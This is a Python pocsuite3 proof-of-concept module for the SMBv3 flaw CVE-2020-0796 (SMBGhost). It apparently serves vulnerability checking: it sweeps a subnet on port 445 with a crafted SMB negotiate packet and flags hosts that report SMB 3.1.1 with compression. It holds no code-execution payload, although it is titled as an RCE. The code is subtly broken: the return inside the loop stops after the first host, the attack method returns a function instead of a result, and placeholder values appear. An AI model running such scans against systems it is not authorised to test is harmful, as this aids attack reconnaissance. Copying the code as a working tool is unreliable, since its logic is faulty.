#-*- encoding:utf-8 -*-
import socket
import struct
import sys

# from netaddr import IPNetwork
from ipaddress import IPv4Network
from pocsuite3.api import Output, POCBase, register_poc


class DemoPOC(POCBase):
    vulID = 'ssvid-98183'  # https://www.seebug.org/vuldb/ssvid-98183
    version = '1'
    author = ['qrx']
    vulDate = '2020-03-12'
    createDate = '2020-03-13'
    updateDate = '2020-03-13'
    references = ['https://github.com/ollypwn/SMBGhost']
    name = 'CVE-2020-0796——SMBv3 RCE'
    appPowerLink = 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005'
    appName = 'CVE-2020-0796'
    appVersion = '+ Windows 10 Version 1903 for 32-bit Systems + Windows 10 Version 1903 for ARM64-based Systems + ' \
                 'Windows 10 Version 1903 for x64-based Systems + Windows 10 Version 1909 for 32-bit Systems + ' \
                 'Windows 10 Version 1909 for ARM64-based Systems + Windows 10 Version 1909 for x64-based Systems + ' \
                 'Windows Server, version 1903 (Server Core installation) + Windows Server, version 1909 (Server Core ' \
                 'installation) '
    vulType = 'Command Execution'
    desc = '''Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server 
    Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the 
    vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. To exploit the 
    vulnerability against an SMB Server, an unauthenticated attacker could send a specially crafted packet to a 
    targeted SMBv3 Server. To exploit the vulnerability against an SMB Client, an unauthenticated attacker would need 
    to configure a malicious SMBv3 Server and convince a user to connect to it. '''
    samples = []
    install_requires = ['IPNetwork', 'struct', 'socket']


    def _verify(self):
        pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
        subnet = sys.argv[4]
        result = {}
        for ip in IPv4Network(subnet):

            sock = socket.socket(socket.AF_INET)
            sock.settimeout(3)

            try:
                sock.connect((str(ip),  445))
            except:
                sock.close()
                continue
            sock.send(pkt)
            nb, = struct.unpack(">I", sock.recv(4))
            res = sock.recv(nb)

            if not (res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00"):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.target
                result['VerifyInfo']['payload'] = 123
                
            return self.parse_output(result)

    def _attack(self):
        return self._verify

    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(DemoPOC)

